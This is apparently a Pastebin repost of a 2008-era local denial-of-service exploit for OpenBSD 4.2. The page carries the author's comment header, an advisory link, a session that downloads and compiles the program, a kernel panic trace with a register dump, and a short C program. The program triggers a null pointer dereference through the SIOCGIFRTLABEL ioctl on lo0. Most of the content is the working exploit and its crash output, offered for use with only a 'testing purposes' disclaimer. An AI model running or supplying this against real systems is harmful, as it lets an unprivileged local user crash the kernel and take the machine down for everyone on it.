Tr3v0r

[BSD] OpenBSD 4.2 rtlabel_id2name() Local Null Pointer

Sep 8th, 2014
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. ================================================================
  2. OpenBSD 4.2 rtlabel_id2name() Local Null Pointer Dereference DoS
  3. ================================================================
  4.  
  5.  
  6.  
  7.  
  8.  
  9. /*
  10. * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
  11. * Null Pointer Dereference local Denial of Service Exploit
  12. *
  13. * by Hunger <[email protected]>
  14. *
  15. * Advisory:
  16. * http://marc.info/?l=openbsd-security-announce&m=120007327504064
  17. *
  18. * FOR TESTING PURPOSES ONLY!
  19. *
  20. * $ uname -mrsv
  21. * OpenBSD 4.2 GENERIC#375 i386
  22. * $ id
  23. * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
  24. * $ ftp -V http://hunger.hu/rtlabdos.c
  25. * 100% |******************************************| 1814 00:00
  26. * $ gcc rtlabdos.c -o rtlabdos
  27. * $ ./rtlabdos
  28. * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
  29. * kernel: page fault trap, code=0
  30. * Stopped at strlcpy+0x1c: movb 0(%edx),%al
  31. * ddb> trace
  32. * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
  33. * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
  34. * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
  35. * syscall() at syscall+0x24a
  36. * --- syscall (number 54) ---
  37. * 0xf557d1:
  38. * ddb> show registers
  39. * ds 0x10
  40. * es 0x10
  41. * fs 0x58
  42. * gs 0x10
  43. * edi 0
  44. * esi 0x20
  45. * ebp 0xd826fd60 end+0x7a33a90
  46. * ebx 0xd826fd98 end+0x7a33ac8
  47. * edx 0
  48. * ecx 0x1f
  49. * eax 0
  50. * eip 0xd064acb0 strlcpy+0x1c
  51. * cs 0x8
  52. * eflags 0x10212
  53. * esp 0xd826fd54 end+0x7a33a84
  54. * ss 0xd8260010 end+0x7a23d40
  55. * strlcpy+0x1c: movb 0(%edx),%al
  56. *
  57. */
  58.  
  59. #include <sys/param.h>
  60. #include <sys/socket.h>
  61. #include <sys/ioctl.h>
  62. #include <net/if.h>
  63.  
  64. int
  65. main(void)
  66. {
  67. struct ifreq ifr = { .ifr_name = "lo0" };
  68.  
  69. return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
  70. }
  71.  
  72.  
  73.  
  74. # 8AEA26CD1CBFD885 1337day.com [2014-09-08] 6F387619C2D184D3 #
Advertisement
Add Comment
Please, Sign In to add comment